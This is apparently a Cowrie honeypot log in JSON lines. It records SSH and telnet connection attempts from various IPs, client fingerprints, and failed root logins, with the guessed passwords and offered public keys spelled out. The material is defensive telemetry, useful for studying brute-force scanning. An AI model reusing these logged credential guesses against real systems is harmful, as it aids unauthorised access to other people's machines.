{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":17622,"dst_ip":"10.17.0.5","dst_port":22,"session":"e85bd61e251b","protocol":"ssh","message":"New connection: 102.88.137.213:17622 (10.17.0.5:22) [session: e85bd61e251b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:40.888439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:40.893257Z","src_ip":"102.88.137.213","session":"e85bd61e251b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:41.075584Z","src_ip":"102.88.137.213","session":"e85bd61e251b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manish@123","message":"login attempt [root/manish@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:41.823010Z","src_ip":"102.88.137.213","session":"e85bd61e251b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:43.004239Z","src_ip":"102.88.137.213","session":"e85bd61e251b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34002,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1acfa2d0eca","protocol":"ssh","message":"New connection: 51.250.105.222:34002 (159.203.135.109:22) [session: f1acfa2d0eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:46.632218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:46.636876Z","src_ip":"51.250.105.222","session":"f1acfa2d0eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:46.762814Z","src_ip":"51.250.105.222","session":"f1acfa2d0eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyutkjxtr","message":"login attempt [root/fyutkjxtr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:47.140130Z","src_ip":"51.250.105.222","session":"f1acfa2d0eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:48.269509Z","src_ip":"51.250.105.222","session":"f1acfa2d0eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35896,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf5d774c93a6","protocol":"ssh","message":"New connection: 103.195.236.96:35896 (159.203.135.109:22) [session: bf5d774c93a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:50.638127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:50.649142Z","src_ip":"103.195.236.96","session":"bf5d774c93a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:50.894724Z","src_ip":"103.195.236.96","session":"bf5d774c93a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qqq","message":"login attempt [root/123qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:51.667733Z","src_ip":"103.195.236.96","session":"bf5d774c93a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:52.931980Z","src_ip":"103.195.236.96","session":"bf5d774c93a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":60310,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56233db6fa2","protocol":"ssh","message":"New connection: 103.115.56.3:60310 (10.17.0.5:22) [session: b56233db6fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:59.970630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:05:59.975682Z","src_ip":"103.115.56.3","session":"b56233db6fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:00.205887Z","src_ip":"103.115.56.3","session":"b56233db6fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bca0174222b","protocol":"telnet","message":"New connection: 152.42.224.71:49736 (10.17.0.5:23) [session: 6bca0174222b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:00.645830Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"999999999","message":"login attempt [root/999999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:00.846210Z","src_ip":"103.115.56.3","session":"b56233db6fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.4130828380584717,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:02.058815Z","src_ip":"152.42.224.71","session":"6bca0174222b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:02.074317Z","src_ip":"103.115.56.3","session":"b56233db6fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37926,"dst_ip":"159.203.135.109","dst_port":22,"session":"fadbd372c55b","protocol":"ssh","message":"New connection: 103.153.68.219:37926 (159.203.135.109:22) [session: fadbd372c55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:03.785221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:03.789667Z","src_ip":"103.153.68.219","session":"fadbd372c55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:04.050847Z","src_ip":"103.153.68.219","session":"fadbd372c55b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852","message":"login attempt [root/963852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:04.836853Z","src_ip":"103.153.68.219","session":"fadbd372c55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:06.101606Z","src_ip":"103.153.68.219","session":"fadbd372c55b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":57756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f6fd2a89995","protocol":"ssh","message":"New connection: 170.106.191.31:57756 (10.17.0.5:22) [session: 8f6fd2a89995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:18.073523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:18.077566Z","src_ip":"170.106.191.31","session":"8f6fd2a89995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:18.144257Z","src_ip":"170.106.191.31","session":"8f6fd2a89995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viewsonic","message":"login attempt [root/viewsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:18.445033Z","src_ip":"170.106.191.31","session":"8f6fd2a89995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"80f009e55202","protocol":"telnet","message":"New connection: 152.42.224.71:40190 (10.17.0.5:23) [session: 80f009e55202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:18.807961Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:19.516081Z","src_ip":"170.106.191.31","session":"8f6fd2a89995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.136","src_port":9564,"dst_ip":"10.17.0.5","dst_port":22,"session":"715abf0de999","protocol":"ssh","message":"New connection: 89.45.12.136:9564 (10.17.0.5:22) [session: 715abf0de999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:25.377062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:25.382097Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:25.515965Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:41:30:35:e9:d7:25:2c:26:8e:0a:d6:d9:2b:5f:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkF068FCrA0yj94mnJNouBPJ5DkmLBwt1HEPqHdHNf/bD64i2t4kSpPP7QCR3NDvPcpz2EBLbfa7RssY+KlSEoS1zCWtUj+++QKe0IGWlnoo14+JvNlL6eW9XLVniENzn2mVa4DXfx0vpmVTTnDVvNjTzEgTcCrV9WPQJF7if/cSWNyKADEgoWdyLp41NqPqaIUBWWFhERcZYDXUw+Hxi246JfTqA6TXYFadV0rfXJ+yUh5r6crOpuzD1XZPy8dNXujSsz1NXRqaWEO+MlogGzwSpWsG5S17BifGZLdzQVeEsmfmiZ5k21O7S7sSBcWZyMI55HjHBxywxDLfIIkEg7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:41:30:35:e9:d7:25:2c:26:8e:0a:d6:d9:2b:5f:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.153168Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:41:30:35:e9:d7:25:2c:26:8e:0a:d6:d9:2b:5f:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkF068FCrA0yj94mnJNouBPJ5DkmLBwt1HEPqHdHNf/bD64i2t4kSpPP7QCR3NDvPcpz2EBLbfa7RssY+KlSEoS1zCWtUj+++QKe0IGWlnoo14+JvNlL6eW9XLVniENzn2mVa4DXfx0vpmVTTnDVvNjTzEgTcCrV9WPQJF7if/cSWNyKADEgoWdyLp41NqPqaIUBWWFhERcZYDXUw+Hxi246JfTqA6TXYFadV0rfXJ+yUh5r6crOpuzD1XZPy8dNXujSsz1NXRqaWEO+MlogGzwSpWsG5S17BifGZLdzQVeEsmfmiZ5k21O7S7sSBcWZyMI55HjHBxywxDLfIIkEg7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.157342Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:78:5d:71:c5:59:44:5c:8b:74:25:24:e0:ec:c5:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Xtt1DRD2E5D05dFHeNqS4uBuCXUhrRR14MBeVtJFUyXeDs4dVtEUsW6SVYNRFjjfyRXZrmAhmJy0mYXMRBI33pWPafVDBAMFATlvPMAkswuTCSIONC8/Z7PPntfRJ9IpJRIln9uhyGRQI9wmc78hZYA7ds2YIxnWyMmKZIjj3fN+/B3OAHEEkyK91shEquWf+YY2kMVCQwjMqp3o4Aiy2tVNPwf4fTLlqkcGNQM1gxMHcKWt7CvYF3W3DAciCWShkyRsRpGsdRQ+QVkDdoQxJb+ChOk8Kk9kqy9HZuzDXLpetHNUHKCKe9Uu010s7JSPboObqaayOsqRpaAYvnLj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:78:5d:71:c5:59:44:5c:8b:74:25:24:e0:ec:c5:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.291465Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
